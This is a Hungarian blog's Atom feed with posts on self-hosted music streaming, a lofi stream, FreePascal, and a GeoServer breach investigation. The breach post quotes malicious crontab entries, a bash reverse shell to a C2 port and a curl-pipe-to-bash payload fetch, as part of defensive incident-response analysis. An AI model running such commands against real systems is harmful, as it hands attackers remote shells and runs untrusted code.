<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://falu.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://falu.github.io/" rel="alternate" type="text/html" /><updated>2026-06-09T21:26:02+00:00</updated><id>https://falu.github.io/feed.xml</id><title type="html">Falu:Me</title><subtitle>Falu:Me</subtitle><author><name>Falu</name></author><entry><title type="html">Házi Spotify</title><link href="https://falu.github.io/2026/06/09/hazi-spotify.html" rel="alternate" type="text/html" title="Házi Spotify" /><published>2026-06-09T20:34:38+00:00</published><updated>2026-06-09T20:34:38+00:00</updated><id>https://falu.github.io/2026/06/09/hazi-spotify</id><content type="html" xml:base="https://falu.github.io/2026/06/09/hazi-spotify.html"><![CDATA[<p>Egy történet arról, hogyan lett a beragadt Spotify-rádióból saját, önállóan üzemeltetett zenei szerver — avagy hogyan vettem vissza az irányítást a zenehallgatás felett?</p>

<!--more-->

<p><img width="100%" alt="image" src="https://github.com/user-attachments/assets/a2082783-dce0-459b-ace7-1a4115b98e03" /></p>

<h2 id="ahol-minden-elkezdődött-a-beragadt-rádió">Ahol minden elkezdődött: a beragadt rádió</h2>

<p>Mostanában sokat autózom, és vezetés közben kényelmes megoldás kellett a zenehallgatásra. Évekig a Spotify volt erre a kézenfekvő válasz elindítok pl. egy Tool rádiót, és megy magától. Csakhogy egy idő után feltűnt, hogy a “rádió” nem igazán rádió: nagyjából ugyanazt az ötven számot pörgeti véletlen sorrendben, újdonság alig kerül be. Ja és tök mindegy, hogy Tool vagy Metallica rádiót indítok, ugyanazok vannak mindkettőben. A Daily Mix és a Discover Weekly meg tele van olyan zenekarokkal, amiknek a felét egy perc után lekapcsolom.</p>

<p>Az igazság az, hogy a Spotify algoritmusa a hallgatási szokásaidhoz idomul, és ha mindig ugyanúgy hallgatsz, egyre szűkebb körben forog. Egy idő után rájöttem, hogy ez engem zavar és nem akarom, hogy egy algoritmus döntse el helyettem, mit hallgatok, és főleg nem akarok ezért havidíjat fizetni.</p>

<p>Régen, amikor kevesebbet utaztam, munka közben a saját NAS-omról megosztott hallgattam a zenét, desktop klienssel. Az volt az igazi: a saját gyűjteményem, a saját ízlésem, semmi ajánlóalgoritmus. Felmerült a kérdés: miért ne lehetne ezt mobilon is, autóban is?</p>

<h2 id="a-terv-saját-zenei-szerver-a-nas-on">A terv: saját zenei szerver a NAS-on</h2>

<p>A célom egyszerű volt:</p>

<ul>
  <li>a saját zenei gyűjteményem elérése mobilról, bárhonnan, Android Auton keresztül az autóban,</li>
  <li>last.fm scrobble, mert a statisztikát szeretem,</li>
  <li>és mindezt biztonságosan, anélkül hogy bármit kinyitnék a routeren a netre.</li>
</ul>

<p>A gyári NAS-appok (DS audio és társaik) ezt csak félig-meddig tudják, és elég kezdetlegesek. A self-hosted streaming szerver + rendes kliens kombó viszont sokkal jobb élményt ad.</p>

<p>A hardver adott volt: egy <strong>Asustor AS4004T</strong> (ARM-alapú, 2 GB RAM). Nem egy erőgép, de a választott szerver elenyésző erőforrást igényel.</p>

<h2 id="a-három-építőelem">A három építőelem</h2>

<h3 id="navidrome--a-szerver">Navidrome – a szerver</h3>

<p>A <a href="https://www.navidrome.org/">Navidrome</a> ma gyakorlatilag a de facto választás a self-hosted zenei streamelésre. Go-ban íródott, könnyű, gyors, Docker-image formájában fut bármilyen NAS-on, és ami a lényeg: <strong>Subsonic API-kompatibilis</strong>, ezért rengeteg jó mobilkliens létezik hozzá. Beépített last.fm (és ListenBrainz) scrobble támogatással is jön.</p>

<p>Mivel az SSH-t biztonsági okokból letiltottam a NAS-on (egy korábbi szerver-incidens után ez nálam alapelv lett), a teljes telepítést grafikusan, <strong>Portainer</strong>-rel oldottam meg. Az App Centralból feltettem a Docker Engine-t és a Portainer CE-t, majd a Portainer <strong>Stacks</strong> funkciójával egy docker-compose-t illesztettem be:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">services</span><span class="pi">:</span>
  <span class="na">navidrome</span><span class="pi">:</span>
    <span class="na">image</span><span class="pi">:</span> <span class="s">deluan/navidrome:latest</span>
    <span class="na">container_name</span><span class="pi">:</span> <span class="s">navidrome</span>
    <span class="na">restart</span><span class="pi">:</span> <span class="s">unless-stopped</span>
    <span class="na">ports</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">4533:4533"</span>
    <span class="na">environment</span><span class="pi">:</span>
      <span class="na">ND_SCANSCHEDULE</span><span class="pi">:</span> <span class="s">1h</span>
      <span class="na">ND_LOGLEVEL</span><span class="pi">:</span> <span class="s">info</span>
      <span class="na">ND_SESSIONTIMEOUT</span><span class="pi">:</span> <span class="s">24h</span>
    <span class="na">volumes</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">/volume1/Docker/navidrome/data:/data</span>
      <span class="pi">-</span> <span class="s">/volume1/Music:/music:ro</span>
</code></pre></div></div>

<p>Két dologra érdemes figyelni: a zenei mappa útvonalát a NAS tényleges megosztásneveihez kell igazítani (a File Explorerben ellenőrizhető), a <code class="language-plaintext highlighter-rouge">:ro</code> pedig azt jelenti, hogy a Navidrome csak olvassa a zenét – ez biztonsági szempontból jó, érdemes rajta hagyni.</p>

<p>Deploy után a böngészőből a <code class="language-plaintext highlighter-rouge">http://&lt;NAS-IP&gt;:4533</code> címen jött a kezdő admin-fiók beállítása, majd a szerver szépen elkezdte beszkennelni a gyűjteményemet. Az ARM CPU-n az első scan eltart egy darabig, de utána már csak inkrementálisan dolgozik.</p>

<h3 id="tailscale--a-biztonságos-elérés">Tailscale – a biztonságos elérés</h3>

<p>Hogy autóban, mobilneten is elérjem a NAS-t, kellett valamilyen kapcsolat kívülről. A klasszikus út a DDNS + portforward lenne, de ezt szándékosan kerültem: nem akarok portot nyitni a netre. Helyette a <strong><a href="https://tailscale.com/">Tailscale</a></strong> jött, ami egy WireGuard-alapú mesh VPN.</p>

<p>A lényege, hogy a gépeid (a NAS és a telefon) egy privát hálózatba (tailnet) kerülnek, mindegyik kap egy fix <code class="language-plaintext highlighter-rouge">100.x.y.z</code> címet, és úgy érik el egymást, mintha egy LAN-on lennének <strong>portnyitás nélkül</strong>. Az Asustornál van rá natív App Central-os csomag, szóval szintén grafikusan, terminál nélkül telepíthető.</p>

<p>Egy fontos tanulság a setup közben: az első indítás után a NAS Tailscale-kliense egyszer kiesett a kapcsolatból (az admin felületen szürke pötty jelezte), és emiatt nem tudtam csatlakozni. Újraindítás és újbóli bejelentkezés után rendben volt. Hogy ez ne ismétlődjön hónapok múlva, a Tailscale admin felületén (Machines → a NAS sora → <code class="language-plaintext highlighter-rouge">...</code> → <strong>Disable key expiry</strong>) kikapcsoltam a kulcs lejáratát a NAS-ra. Így nem fog magától “kiesni” egy idő után.</p>

<h3 id="symfonium--a-kliens">Symfonium – a kliens</h3>

<p>A kliens oldalon a <strong><a href="https://symfonium.app/">Symfonium</a></strong> (Android, fizetős, pár euró) lett a befutó, és bőven megérte. Subsonic-kompatibilis, így problémamentesen csatlakozik a Navidrome-hoz. A beállítás: a szerver típusa Subsonic, a cím a NAS Tailscale-IP-je (<code class="language-plaintext highlighter-rouge">http://100.x.y.z:4533</code>), majd a Navidrome-ban létrehozott felhasználónév és jelszó.</p>

<p>Amit a Symfonium tud, és amiért a gyári app meg sem közelíti:</p>

<ul>
  <li><strong>Android Auto</strong> támogatás – ez volt a kulcs, hiszen a Spotify-t is így hallgattam a kocsiban.</li>
  <li><strong>Gapless lejátszás, ReplayGain</strong>, és minden, amit egy igényes lejátszótól elvársz.</li>
  <li><strong>Offline letöltés</strong> is van benne, ha mégis kellene – nálam ritkán fordul elő, hogy ne lenne net az úton, úgyhogy alapból streamelek a NAS-ról, de jó tudni, hogy a lehetőség adott.</li>
</ul>

<h2 id="a-lastfm-kérdés-itt-jött-a-pano-scrobbler">A last.fm-kérdés: itt jött a Pano Scrobbler</h2>

<p>A scrobble volt az utolsó hiányzó láncszem, és itt akadtam el. Elvileg a Symfonium tud last.fm scrobble-t, de nem tudtam beállítani.</p>

<p>A megoldás végül egy <strong>dedikált scrobbler-app</strong>: a <strong><a href="https://github.com/kawaiiDango/pano-scrobbler">Pano Scrobbler</a></strong> lett. Ez nem a Symfonium belső logikájára támaszkodik, hanem az Android <strong>media-session</strong> alapján figyeli, mi szól éppen, és önállóan küldi a scrobble-t a last.fm-re. Mivel a Symfonium media-sessiont használ (ez alapból be van kapcsolva), a Pano gond nélkül “kihallja” belőle a lejátszást.</p>

<p>A beállítás egyszerű: telepíted a Pano Scrobblert, bejelentkeztetek a last.fm-fiókoddal, az alkalmazáslistában engedélyezed a Symfoniumot, és onnantól ami a Symfoniumban szól, az felkerül a last.fm-re. Fontos: ha a Pano-t használod scrobblerként, a Symfonium saját last.fm-összekötését hagyd kikapcsolva, különben dupla scrobble lenne belőle. Streamelésnél ez stabilan működik, és az első időkben azért érdemes ránézni a profilodra, hogy tényleg minden felkerül-e.</p>

<h2 id="az-eredmény">Az eredmény</h2>

<p>A teljes lánc tehát:</p>

<p><strong>saját NAS → Navidrome → Tailscale → Symfonium → Android Auto → Pano Scrobbler → last.fm</strong></p>

<p>Pontosan az az élmény, ami a desktop lejátszókkal megvolt/megvan munka közben, csak most mobilon, az autóban is Android Auton keresztül, bárhonnan. Ahogy korábban a Spotify-t is ezen át hallgattam, csak most a saját gyűjteményemet streamelem a NAS-omról – a saját ízlésem, semmi ajánlóalgoritmus, semmi havidíj –, és mindezt biztonságosan, a netre nyitott port nélkül.</p>

<p>Pár dolog, amit érdemes az elején elintézni a tartós nyugalomért: a Tailscale key expiry kikapcsolása a NAS-on, az automatikus indítás ellenőrzése (hogy újraindítás után magától visszajöjjön), a NAS energiagazdálkodásának áttekintése (hogy ne aludjon el a szerver), és persze egy rendes, erős jelszó a teszteléshez használt ideiglenes helyett.</p>

<p><img src="/assets/images/zenei-stack-architektura.svg" alt="A zenei stack architektúrája" /></p>

<p>Az első beállítás kicsit döcögős volt – ez a self-hosting velejárója –, de utána ez egy “beállítom és elfelejtem” rendszer lett.</p>

<p>🤘</p>]]></content><author><name>Falu</name></author><category term="Zene" /><category term="Linux" /><category term="Android" /><category term="Docker" /><category term="Navidrome" /><category term="Tailscale" /><category term="Subsonic" /><category term="Last.fm" /><category term="NAS" /><summary type="html"><![CDATA[Egy történet arról, hogyan lett a beragadt Spotify-rádióból saját, önállóan üzemeltetett zenei szerver — avagy hogyan vettem vissza az irányítást a zenehallgatás felett?]]></summary></entry><entry><title type="html">Claude FM – zene gondolkodáshoz és kódoláshoz</title><link href="https://falu.github.io/2026/06/04/claude-fm.html" rel="alternate" type="text/html" title="Claude FM – zene gondolkodáshoz és kódoláshoz" /><published>2026-06-04T08:00:00+00:00</published><updated>2026-06-04T08:00:00+00:00</updated><id>https://falu.github.io/2026/06/04/claude-fm</id><content type="html" xml:base="https://falu.github.io/2026/06/04/claude-fm.html"><![CDATA[<p>Egy élő stream, ami csak hagy dolgozni.
A Claude FM az Anthropic által indított 24/7 órás lofi és ambient zenei élő közvetítés a YouTube-on. Elsősorban háttérzenének és fókuszáláshoz tervezték, a dalok címei pedig folyamatosan láthatóak a stream felületén.</p>

<!--more-->

<p><a href="https://clau.de/radio" target="_blank">
  <img width="100%" alt="image" src="https://github.com/user-attachments/assets/6971eadd-02bf-453a-9d23-4cf7df2f5591" />
</a></p>

<p>Van egy műfaj, amit ritkán szokás komolyan venni: a háttérzene. Pedig aki napi nyolc órát tölt kód, szkript vagy egy makacs algoritmus társaságában, az tudja, hogy a rossz zene ugyanúgy elvonja a figyelmet, mint a csend hiánya. Az Anthropic most csinált ehhez egy saját adót: a <strong>Claude FM</strong>-et.</p>

<h2 id="mi-ez-pontosan">Mi ez pontosan?</h2>

<p>Egy folyamatos, élő YouTube-stream. A mottója kerek: <em>music for thinking and building</em> - zene gondolkodáshoz és kódolshoz. A koncepció nem bonyolult: megnyomod a lejátszást, és dolgozol tovább. A zenét nem algoritmus köpte ki, hanem zenészek készítették és válogatták.</p>

<p>Elérhető rövid linken: <a href="https://clau.de/radio">clau.de/radio</a></p>

<h2 id="miért-működik-ez-munka-közben">Miért működik ez munka közben?</h2>

<p>A trükk az, amit <em>nem</em> csinál. Nincs benne dalszerkezet, ami után kapna a füled. Nincs refrén, amit elkezdenél dúdolni a harmadik ismétlésnél. Nincs szöveg, ami a nyelvi agyterületeidért versenyezne azzal, amit éppen írsz vagy olvasol. Marad egy folyam, ami betölti a teret, de nem kér semmit cserébe.</p>

<p>Ez pont az ellentéte annak, amihez az ember szórakozásból nyúl. Egy rendes album arra van kitalálva, hogy figyelj rá. A Claude FM arra, hogy elfelejtsd, hogy szól.</p>

<h2 id="kinek-való">Kinek való?</h2>

<p>Annak, aki “deep work” üzemmódban dolgozik: programozás, írás, bármi, ami megszakítatlan koncentrációt kíván. Mivel élő stream, nincs playlist-menedzsment, nincs “mi legyen a következő” döntés - csak megy.</p>

<p>Egy figyelmeztetés a metálos népnek: ez nem a Pantera. Ha a munkához is erősítő kell, ez csalódás lesz. De érdemes szétválasztani a két funkciót: a metál a motivációhoz, a vér felpörgetéséhez jó. Ez a koncentrációhoz. Más üzemmód, más eszköz.</p>

<h2 id="megéri-kipróbálni">Megéri kipróbálni?</h2>

<p>Egy kattintás, nulla telepítés, nulla fiók. Ha a következő melónál úgyis kell valami a háttérbe, ennél olcsóbban nem fogsz kísérletezni. Vagy bejön, vagy nem - de a belépési költség gyakorlatilag nulla.</p>]]></content><author><name>Falu</name></author><category term="Claude" /><category term="FM" /><category term="AI" /><category term="Rádió" /><category term="Zene" /><category term="Programozás" /><summary type="html"><![CDATA[Egy élő stream, ami csak hagy dolgozni.]]></summary></entry><entry><title type="html">FreePascal 2026-ban?</title><link href="https://falu.github.io/2026/06/03/freepascal-2026-ban.html" rel="alternate" type="text/html" title="FreePascal 2026-ban?" /><published>2026-06-03T16:41:40+00:00</published><updated>2026-06-03T16:41:40+00:00</updated><id>https://falu.github.io/2026/06/03/freepascal-2026-ban</id><content type="html" xml:base="https://falu.github.io/2026/06/03/freepascal-2026-ban.html"><![CDATA[<p>Minden évben jön egy új “ez majd mindent megold” nyelv</p>

<!--more-->

<p><a href="https://github.com/user-attachments/assets/b0434f70-dc1f-4d0f-8d7e-653d1a2ba6ab">
  <img width="100%" alt="Lazarus IDE" src="https://github.com/user-attachments/assets/b0434f70-dc1f-4d0f-8d7e-653d1a2ba6ab" />
</a></p>

<p>Idén is tele a Hacker News meg a Reddit a Rusttal, a Pyhtonnal és a Góval. Én meg itt ülök, és egy érett, több tízezer soros desktop alkalmazást fejlesztek FreePascalban - és nem érzem, hogy lemaradtam volna bármiről. Azt is megmondom, hogy miért.</p>

<h2 id="olyan-nyelv-ami-nem-akar-állandóan-tanítani">Olyan nyelv, ami nem akar állandóan tanítani</h2>

<p>A Pascal szintaxisa jól olvasható, explicit, és nem változik félévente. Amit öt éve írtam, az ma is fordul. Nincs “edition”, nincs breaking change minden minor verzióban. A kód, amit írok, az enyém marad - nem kell utánaszaladni a nyelvnek.</p>

<h2 id="lazarus-az-ide-amit-nem-kell-összerakni">Lazarus: az IDE, amit nem kell összerakni</h2>

<p>A Rust/Go világban a tooling sokszor “összerakós”: szerkesztő + plugin + debugger, mindenki a saját ízlése szerint. A Lazarus egy komplett RAD környezet dobozból. Form designer, integrált debugger, cross-compilation - működik. Egy desktop GUI app nálam órák, nem hetek kérdése.</p>

<h2 id="egyetlen-self-contained-bináris-futásidejű-függőség-nélkül">Egyetlen self-contained bináris, futásidejű függőség nélkül</h2>

<p>Lefordítom, és kapok egy natív futtathatót. Nincs runtime, nincs “telepítsd hozzá ezt a 200 MB-ot”. A felhasználó letölti, elindítja, kész. Bárki, aki valaha támogatott ügyfélnél futó szoftvert, tudja, mennyit ér ez.</p>

<p>Oké, ebben van egy kis ferdítés, ugyanis csak Windows alatt nem függ a keretrendszertől. A Linux az más tészta. A GUI appokhoz alapból gtk2-t használ, ami őszintén szólva már nem számít modern widhetsetnek, ezért előfordulhat, hogy újabb disztrókon kissé retró megjelenésűek ezek a programok. A gtk3 támogatás ott tart, hogy úgy lett gtk4, hogy a Lazarus még a gtk3-at nem támogatja teljes körűen. Állítólag qt5 meg a qt6 szépen megy, de azt meg én nem kedvelem. A Linux desktop fragmentálsága GUI app fejlesztői szempontból megérne egy külön posztot.</p>

<h2 id="valódi-cross-platform-fájdalom-nélkül">Valódi cross-platform, fájdalom nélkül</h2>

<p>Ugyanaz a kódbázis fordul Linuxon, Windowson és macOS-en. A saját bőrömön tapasztaltam, hogy ez mennyivel kevesebb szívás, mint amire számítottam.</p>

<h2 id="teljesítmény-amiért-nem-kell-megküzdeni">Teljesítmény, amiért nem kell megküzdeni</h2>

<p>Natívra fordul, és gyors. Nagy adathalmazok, számításigényes algoritmusok, valós idejű feldolgozás — nem a nyelv a szűk keresztmetszet. És amikor tényleg számít a sebesség vagy a memóriaigény, ott a pointer és a manuális kontroll - anélkül, hogy a borrow checker minden sorba beleszólna.</p>

<h2 id="stabilitás-mint-feature">Stabilitás mint feature</h2>

<p>A Pascal “unalmas”. Ez a legnagyobb dicséret, amit adhatok neki. Nem kell a nyelv divatját követni; lehet a problémára koncentrálni. Egy üzleti termék mögött ez az igazi érték: tíz év múlva is karbantartható lesz.</p>

<h2 id="rust-python-go">Rust, Python, Go?</h2>

<p>Hogy fair legyek: a Rust memóriabiztonsága zseniális rendszerszintű kódhoz, és tényleg írtam benne számításigényes programokat - élveztem. A Go a konkurens hálózati szolgáltatásokban verhetetlen. A Python pedig adatfeldolgozásra, prototípusozásra, gyors scriptelésre továbbra is utolérhetetlen. Egyik sem rossz nyelv. Csak nem minden probléma rendszerprogramozás, felhőszolgáltatás vagy egyszeri script. Egy asztali, számításigényes, hosszú életű alkalmazáshoz a FreePascal nálam ma is a racionális választás — nem nosztalgiából, hanem mérnöki döntésből.</p>

<p>Itt jut eszembe, miért is értékelem annyira a Pascal stabilitását. A Python 2-ről 3-ra való átállás évekig tartó fejfájás volt: a <code class="language-plaintext highlighter-rouge">print</code> utasításból függvény lett, a stringkezelés (str vs. unicode) a feje tetejére állt, az egész osztás máshogy működött, a <code class="language-plaintext highlighter-rouge">dict</code> metódusok visszatérési értéke megváltozott. Régi kódbázisok éveken át ragadtak a 2-esen, miközben a 3-as körül épült az új ökoszisztéma. Aki átélte, az tudja: egy néhány soros script átírása még megvolt, de egy nagy, élő alkalmazás migrálása komoly projekt volt - tesztekkel, <code class="language-plaintext highlighter-rouge">2to3</code>-mal, és sok káromkodással. Pont az ilyen törések miatt értékelem, hogy a Pascalban a tíz éve írt kódom ma is változtatás nélkül fordul.</p>

<hr />

<p>A hype elmúlik. A kód marad. Én olyan eszközt akarok, ami tíz év múlva is ott lesz, fordul, és nem kér tőlem cserébe semmit. 2026-ban ez nekem a FreePascal + Lazarus.</p>]]></content><author><name>Falu</name></author><category term="FreePascal" /><category term="Lazarus" /><category term="Programozás" /><summary type="html"><![CDATA[Minden évben jön egy új “ez majd mindent megold” nyelv]]></summary></entry><entry><title type="html">Egy GeoServer-betörés anatómiája</title><link href="https://falu.github.io/2026/06/01/egy-geoserver-betores-anatomiaja.html" rel="alternate" type="text/html" title="Egy GeoServer-betörés anatómiája" /><published>2026-06-01T19:59:28+00:00</published><updated>2026-06-01T19:59:28+00:00</updated><id>https://falu.github.io/2026/06/01/egy-geoserver-betores-anatomiaja</id><content type="html" xml:base="https://falu.github.io/2026/06/01/egy-geoserver-betores-anatomiaja.html"><![CDATA[<p>Minden egy ártalmatlannak tűnő logfájllal kezdődött.</p>

<!--more-->

<p><img src="https://github.com/user-attachments/assets/548f8015-741e-4f54-8045-bcf27f467c46" alt="linux/malware" /></p>

<p>Az <code class="language-plaintext highlighter-rouge">auth.log</code> percenként ismétlődő sorokkal volt tele:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CRON[xxxx]: pam_unix(cron:session): session opened for user tomcat8 by (uid=0)
CRON[xxxx]: pam_unix(cron:session): session closed for user tomcat8
</code></pre></div></div>

<p>Első ránézésre ez teljesen normális: ha egy felhasználónak van percenként futó cron-jobja, a PAM minden futáshoz logol egy <code class="language-plaintext highlighter-rouge">opened</code>/<code class="language-plaintext highlighter-rouge">closed</code> párt. A <code class="language-plaintext highlighter-rouge">(uid=0)</code> is csak annyit jelent, hogy a cron démon (root) indítja a jobot az adott felhasználó nevében. Semmi vészjósló.</p>

<p>Aztán megnéztem, mi az a percenként futó job.</p>

<h2 id="a-pillanat-amikor-a-gyomrom-összeszorult">A pillanat, amikor a gyomrom összeszorult</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>crontab <span class="nt">-u</span> tomcat8 <span class="nt">-l</span>
</code></pre></div></div>

<p>A kimenet önmagáért beszélt:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>* * * * * bash -c 'bash -i &gt;&amp; /dev/tcp/&lt;C2-IP&gt;/4444 0&gt;&amp;1'
* * * * * /tmp/.XIN-unix/&lt;binary&gt; || curl -sL &lt;IP&gt;/setup | bash
* * * * * /tmp/test.sh
</code></pre></div></div>

<p>Három klasszikus rosszindulatú minta egy helyen:</p>

<ul>
  <li><strong>Reverse shell</strong> — percenként megpróbál visszacsatlakozni a támadó gépére, és teljes parancssort adni neki.</li>
  <li><strong>Elrejtett bináris futtatása</strong> egy <code class="language-plaintext highlighter-rouge">.XIN-unix</code> nevű mappából (a legitim <code class="language-plaintext highlighter-rouge">.X11-unix</code> / <code class="language-plaintext highlighter-rouge">.ICE-unix</code> rendszermappák utánzása), tartalék letöltővel egy másik IP-ről.</li>
  <li>Egy harmadik, ismeretlen szkript.</li>
</ul>

<p>Ekkor vált világossá: a szerver kompromittált.</p>

<h2 id="az-első-szabály-ne-ess-pánikba-de-cselekedj-sorrendben">Az első szabály: ne ess pánikba, de cselekedj sorrendben</h2>

<p>Egy kompromittált gépnél a sorrend számít. A hálózati elszigetelés jön először, mert amíg a reverse shell él, a támadó valós időben tud reagálni arra, amit csinálsz.</p>

<p><strong>1. Vágd el a kifelé menő kapcsolatot.</strong> Blokkold a támadó IP-ket és a reverse shell portját:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>iptables <span class="nt">-A</span> OUTPUT <span class="nt">-d</span> &lt;C2-IP&gt; <span class="nt">-j</span> DROP
iptables <span class="nt">-A</span> OUTPUT <span class="nt">-p</span> tcp <span class="nt">--dport</span> 4444 <span class="nt">-j</span> DROP
</code></pre></div></div>

<p><strong>2. Ments bizonyítékot, mielőtt bármit törölnél.</strong> A kapkodva törölt malware elemezhetetlen:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> <span class="nt">-p</span> /root/incident-evidence
crontab <span class="nt">-u</span> &lt;user&gt; <span class="nt">-l</span> <span class="o">&gt;</span> /root/incident-evidence/cron.txt
</code></pre></div></div>

<p><strong>3. Csak ezután kezdj takarítani.</strong></p>

<h2 id="a-nyomozás-mit-látsz-és-mit-jelent">A nyomozás: mit látsz, és mit jelent</h2>

<p>A következő lépés annak felmérése volt, mi fut és mihez kapcsolódik:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ss <span class="nt">-tnp</span> | <span class="nb">grep </span>ESTAB
ps aux <span class="nt">--sort</span><span class="o">=</span>-%cpu | <span class="nb">head</span> <span class="nt">-20</span>
</code></pre></div></div>

<p>Itt egy fontos buktató. A process-listán szerepelt egy <code class="language-plaintext highlighter-rouge">[kdevtmpfs]</code> nevű elem — ez <strong>valódi kernel-folyamat</strong> (a szögletes zárójel a jele), nem szabad összekeverni a <code class="language-plaintext highlighter-rouge">kdevtmpfsi</code> nevű, ehhez szándékosan hasonlító bányász-malware-rel. A támadók pont arra építenek, hogy a védekező összezavarodjon a nevek hasonlóságától.</p>

<p>Az aktív kapcsolatok vizsgálatakor előkerült egy gyanús folyamat, ami egy ártalmatlan rendszerdémonnak álcázta magát. A <code class="language-plaintext highlighter-rouge">lsof</code> és az <code class="language-plaintext highlighter-rouge">ss</code> egy álnevet mutatott, miközben a tényleges futtatható fájl a <code class="language-plaintext highlighter-rouge">/tmp</code>-ből futott:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls</span> <span class="nt">-la</span> /proc/&lt;pid&gt;/exe   <span class="c"># -&gt; /tmp/&lt;binary&gt;</span>
<span class="nb">cat</span> /proc/&lt;pid&gt;/cmdline  <span class="c"># a meghamisított név</span>
</code></pre></div></div>

<p>Tanulság: <strong>mindig a <code class="language-plaintext highlighter-rouge">/proc/&lt;pid&gt;/exe</code> valódi célját nézd, ne a process nevét.</strong> Az utóbbi hazudik.</p>

<h2 id="a-belépési-pont-megtalálása">A belépési pont megtalálása</h2>

<p>A kulcskérdés mindig ez: hogyan jutottak be? A cron-jobok mind ugyanazon felhasználó nevében futottak — egy Java alkalmazásszerver szolgáltatás-felhasználója nevében. Ez azonnal egy publikus webalkalmazásra terelte a gyanút.</p>

<p>A <code class="language-plaintext highlighter-rouge">webapps</code> könyvtárban ott volt a felelős: egy <strong>több éves, elavult GeoServer-telepítés</strong>. A GeoServer egy nyílt forráskódú térinformatikai szerver, és sajnos népszerű célpont, mert gyakran publikusan elérhető, és több súlyos, autentikáció nélküli távoli kódfuttatási (RCE) sebezhetősége is ismert.</p>

<p>A konkrét bűnös a <strong>CVE-2024-36401</strong> volt — egy 9.8-as CVSS-pontszámú kritikus hiba. A lényege: a GeoServer a kérések property-neveit XPath-kifejezésként értékeli ki egy olyan komponenssel, amit eredetileg csak komplex adattípusokhoz szántak, de tévesen az egyszerű típusokra is alkalmaztak. Ez lehetővé teszi, hogy a támadó speciálisan formázott kéréssel kódot futtasson — bejelentkezés nélkül, számos gyakran nyitott OGC-végponton keresztül (WMS, WFS, WPS).</p>

<h2 id="a-foltozás-dilemmája-amikor-nem-frissíthetsz">A foltozás dilemmája: amikor nem frissíthetsz</h2>

<p>Itt jött a nehéz rész. A szerveren <strong>kritikus szolgáltatások</strong> múltak a GeoServeren, így nem lehetett csak úgy leállítani. A frissítés pedig azért volt kockázatos, mert az újabb GeoServer-verziók újabb Java-t igényelnek, ami az elavult operációs rendszeren láncreakciót indított volna el.</p>

<p>Szerencsére a GeoServer fejlesztői <strong>verziófrissítés nélküli hivatalos megkerülő megoldást</strong> is kiadtak: a sebezhető modul (<code class="language-plaintext highlighter-rouge">gt-complex-x.y.jar</code>) eltávolítását a <code class="language-plaintext highlighter-rouge">WEB-INF/lib</code> könyvtárból. Ez megszünteti a sebezhető kódot.</p>

<p>A kulcskérdés: <strong>megtörik-e ettől valami?</strong> A <code class="language-plaintext highlighter-rouge">gt-complex</code> modul a komplex (app-schema) adattípusokhoz kell. Ha a szerver csak egyszerű forrásokat szolgál ki — például shapefile-okat —, akkor ezt a funkciót biztosan nem használja, és az eltávolítás észrevétlen marad. A biztonságos eljárás:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 1. Mentsd a JAR-t a webapps-on KÍVÜLRE (hogy a restart ne olvassa vissza)</span>
<span class="nb">cp</span> &lt;pathto&gt;/gt-complex-<span class="k">*</span>.jar /root/backup/

<span class="c"># 2. Töröld és indítsd újra</span>
<span class="nb">rm</span> &lt;pathto&gt;/gt-complex-<span class="k">*</span>.jar
systemctl restart &lt;tomcat-service&gt;

<span class="c"># 3. Ellenőrizd, hogy felállt és a rétegek válaszolnak</span>
<span class="c"># Ha bármi eltörik: másold vissza a JAR-t a backupból, és újraindít.</span>
</code></pre></div></div>

<p>A leglényegesebb biztonsági elv viszont ez volt: <strong>a sebezhetőség azért kihasználható, mert a szolgáltatás közvetlenül elérhető az internet felől.</strong> Ha a támadó nem éri el a sebezhető végpontot, a hiba gyakorlatilag kihasználhatatlanná válik — anélkül, hogy magához az alkalmazáshoz hozzányúlnál. Ezért a tűzfalszintű hozzáférés-korlátozás (csak ismert kliens-IP-k, vagy VPN mögé helyezés) gyakran hatásosabb és kockázatmentesebb, mint maga a foltozás.</p>

<h2 id="a-csavar-a-malware-visszatért-restart-után">A csavar: a malware visszatért restart után</h2>

<p>A <code class="language-plaintext highlighter-rouge">gt-complex</code> eltávolítása után az alkalmazás szépen felállt. De a szolgáltatás állapotának ellenőrzésekor a process-fában ott volt egy idegen elem — egy <code class="language-plaintext highlighter-rouge">/tmp</code>-ből futó bináris, ami a szolgáltatás cgroupjában indult újra.</p>

<p>Ez a tanulság, amit nem lehet elégszer hangsúlyozni: <strong>egy kompromittált gépen a látható tünet ritkán a teljes kép.</strong> A cron törölve volt, de egy korábban már elindított folyamat túlélte, vagy a deploy hozta vissza. A binárist kimentettem bizonyítéknak, majd leállítottam, és töröltem magát a fájlt is, hogy ne legyen mit újraindítani.</p>

<h2 id="mi-volt-ez-valójában">Mi volt ez valójában?</h2>

<p>A kimentett bináris SHA256 hash-ét feltöltöttem a VirusTotal-ra (fontos: a <em>hash</em>-t, nem feltétlenül magát a fájlt). A találat: egy <strong>Mirai-botnet variáns</strong>, becsomagolt formában.</p>

<p>Ez érdekes részlet. A Mirai eredetileg IoT-eszközöket fertőző, DDoS-támadásokra szakosodott botnet volt, amelynek forráskódja 2016-ban kiszivárgott. Azóta számtalan leszármazottja terjed, amelyek már szervereket is céloznak sebezhető webalkalmazásokon keresztül, és gyakran hibrid működésűek: DDoS és kriptobányászat egyszerre.</p>

